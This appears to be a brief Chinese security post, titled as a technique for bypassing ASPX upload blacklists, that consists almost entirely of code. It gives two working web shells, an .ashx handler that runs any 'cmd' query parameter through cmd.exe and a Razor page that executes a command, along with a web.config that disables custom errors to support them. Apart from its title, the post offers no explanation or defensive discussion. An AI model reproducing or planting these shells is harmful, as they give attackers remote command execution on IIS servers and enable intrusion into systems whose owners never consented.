ASPX之黑名单上传限制的绕过

<% @ webhandler language="C#" class="AverageHandler" %>using System;using System.Web;using System.Diagnostics;using System.IO;
public class AverageHandler : IHttpHandler{  /* .Net requires this to be implemented */  public bool IsReusable  {    get { return true; }  }
  /* main executing code */  public void ProcessRequest(HttpContext ctx)  {    Uri url = new Uri(HttpContext.Current.Request.Url.Scheme + "://" +   HttpContext.Current.Request.Url.Authority + HttpContext.Current.Request.RawUrl);    string command = HttpUtility.ParseQueryString(url.Query).Get("cmd");
    ctx.Response.Write("<form method='GET'>Command: <input name='cmd' value='"+command+"'><input type='submit' value='Run'></form>");    ctx.Response.Write("<hr>");    ctx.Response.Write("<pre>");
    /* command execution and output retrieval */    ProcessStartInfo psi = new ProcessStartInfo();    psi.FileName = "cmd.exe";    psi.Arguments = "/c "+command;    psi.RedirectStandardOutput = true;    psi.UseShellExecute = false;    Process p = Process.Start(psi);    StreamReader stmrdr = p.StandardOutput;    string s = stmrdr.ReadToEnd();    stmrdr.Close();
    ctx.Response.Write(System.Web.HttpUtility.HtmlEncode(s));    ctx.Response.Write("</pre>");    ctx.Response.Write("<hr>");    ctx.Response.Write("By <a href='http://www.twitter.com/Hypn'>@Hypn</a>, for educational purposes only."); }}

@using System.CodeDom.Compiler;@using System.Diagnostics;@using System.Reflection;@using System.Web.Compilation;
@functions {  string ExecuteCommand(string command, string arguments = null)  {    var output = new System.Text.StringBuilder();    var process = new Process();    var startInfo = new ProcessStartInfo    {      FileName = command,      Arguments = arguments,      WorkingDirectory = HttpRuntime.AppDomainAppPath,      RedirectStandardOutput = true,      RedirectStandardError = true,      UseShellExecute = false    };
    process.StartInfo = startInfo;    process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);    process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);    process.Start();    process.BeginOutputReadLine();    process.BeginErrorReadLine();    process.WaitForExit();
    return output.ToString();  }}
@{  var cmd = ExecuteCommand("cmd.exe", "/c whoami");}
Output of the injected command (by Niemand):  @cmd

<configuration>    <system.web>        <customErrors mode="Off"/>    </system.web>    <appSettings>             <add key="webPages:Version" value="2.0"/>    </appSettings></configuration>

https://www.microsoft.com/zh-CN/download/details.aspx?id=17851

https://www.microsoft.com/zh-CN/download/details.aspx?id=30683